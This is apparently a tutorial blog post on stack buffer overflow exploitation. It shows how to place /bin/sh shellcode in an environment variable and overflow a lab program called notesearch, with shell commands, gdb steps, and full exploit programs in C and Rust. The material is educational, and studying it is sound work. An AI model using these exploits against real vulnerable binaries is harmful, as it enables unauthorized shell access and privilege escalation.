Store shellcode in environment variable


In the previous post we explained how stack-based buffer overflows work. In the last exercise, we inserted the shellcode in the stack. However, this might be a problem. What happens if the shellcode doesn’t fit in the stack? We can store it in an environment variable.

Manually store shellcode in env var

We will export the shellcode manually and use it in our exploit.

Let’s keep working with the notesearch program (the last exercise of the previous post). Remember that the shellcode was \x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05. We need to export it as a binary into the env var. Otherwise, the code won’t be executed.

echo -e "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05" > shellcode.bin
export SHELLCODE=$(cat shellcode.bin)

The terminal will complain about the encoding but don’t worry. It’s still working.

The next step is debugging the exploit and searching the address where the environment variable is in the stack. Environment variables are in the lowest positions.

env gdb ~/Desktop/overflow/notesearch

We can place a break in the main function to inspect the stack frame.

The shellcode is at 0x7fffffffe975. Notice that if the user adds or removes environment variables, the memory address will change. We can execute ~/Desktop/overflow/notesearch $(perl -e 'print "\x90" x 120, "\x75\xe9\xff\xff\xff\x7f"'). Remember, we use the first 120 bytes to reach the return address memory location.

Automating the attack

Another advantage of storing the shellcode in an environment variable is that automating the attack is easier. C execle function allows to execute files with the given arguments and environment variables.

int execle(const char *path, const char *arg,..., char * const envp[]);

We can execute the binary with just the shellcode in the environment variables. Hence, we get rid of other environment variables that could modify the memory address. We can use gdb, as before, to get the new memory address. There’s one difference, though. Since we want to debug the program called with execle, we need to allow gdb to debug it. Execute set follow-fork-mode child in gdb and add a break to the main function. It will eventually stop in notesearch. Once there, search the shellcode in the stack frame as we did before.

The exploit in C is quite self-explanatory. We create the argument, the environment and execute notesearch with them.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>

char shellcode[]="\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05";

int main(int argc, char *argv[]) {
    char buffer[120 + 8];
    memset(buffer, 'a', 120);
    memcpy(&buffer[120], "\x75\xe9\xff\xff\xff\x7f", 8);

    char* env[2] = {shellcode, 0};
    execle("notesearch", "./notesearch", buffer, 0, env);
    free(buffer);
}

The same exploit in Rust.

use std::ffi::OsStr;
use std::process::Command;

fn main() {
    let shellcode = unsafe {
        OsStr::from_encoded_bytes_unchecked(&[
            0x48, 0x31, 0xf6, 0x56, 0x48, 0xbf, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68,
            0x57, 0x54, 0x5f, 0x6a, 0x3b, 0x58, 0x99, 0x0f, 0x05,
        ])
    };

    let shellcode_address = [0xd3, 0xef, 0xff, 0xff, 0xff, 0x7f];
    let memory = [0x61; 120]
        .iter()
        .chain(shellcode_address.iter())
        .map(|x| *x as u8)
        .collect::<Vec<u8>>();
    let memory_arg = unsafe { OsStr::from_encoded_bytes_unchecked(&memory) };

    Command::new("./notesearch")
        .arg(memory_arg)
        .env_clear()
        .env("SHELLCODE", shellcode)
        .spawn()
        .unwrap()
        .wait_with_output()
        .unwrap();
}